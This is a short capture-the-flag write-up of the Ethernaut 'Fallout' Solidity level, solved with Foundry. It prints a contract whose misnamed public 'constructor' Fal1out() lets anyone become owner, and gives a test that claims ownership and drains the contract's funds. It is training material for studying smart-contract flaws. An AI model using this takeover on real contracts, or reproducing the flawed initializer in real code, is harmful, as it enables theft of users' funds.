Ethernaut x Foundry - 0x2 Fallout

Ethernaut x Foundry - 0x2 Fallout

·

2 min read

Overview

This level introduces us to the following concept(s):

  • How contracts get initialized
  • The role of the constructor() native function.

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

Objective

To complete the challenge, we will need: to

  • Claim ownership of the contract (i.e: our EoA is the owner())

Contract Analysis

The contract's logic is very brief, transfers sent to the sendAllocation() function will be recorded, and the amount (allocation) received by the contract will be mapped per to its sender.

Ether stored in the contract can only be withdrawn by the contract's owner, who is set during initialization.

Most notably, the "constructor" function is neither constructor() nor Fallout(), but instead Fal1out() and is publicly accessible. This is where the vulnerability lies.

contract Fallout {
    using SafeMath for uint256;
    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = payable(msg.sender); // Type issues must be payable address
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        payable(msg.sender).transfer(address(this).balance); // Type issues must be payable address
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }

Prior to version 0.4.22, constructors were defined as functions with the same name as the contract. This syntax was deprecated and is not allowed anymore in version 0.5.0. Instead, the keyword constructor() can be used (optional function) which will be executed only once at contract creation.

💡 Recommended read:

Real-World Example

While seemingly trivial, similar mistakes happened in the past and funds got stolen

The Rubixi (contract code) was another pyramid scheme that exhibited this kind of vulnerability. It was originally called DynamicPyramid, but the contract name was changed before deployment to Rubixi. The constructor's name wasn't changed, allowing any user to become the creator.

💡 Recommended read:

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

Create a Fallout.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

function testFalloutHack() public {
    // Call the public `Fal1out` function and become `owner`
    falloutContract.Fal1out{value: 1 wei}();
    assertEq(falloutContract.owner(), attacker);

    // Collect the contract's funds
    falloutContract.collectAllocations();
    assertEq(address(falloutContract).balance, 0);
}

Run the attack using theforge test subcommand:

ethernaut-02-fallout.png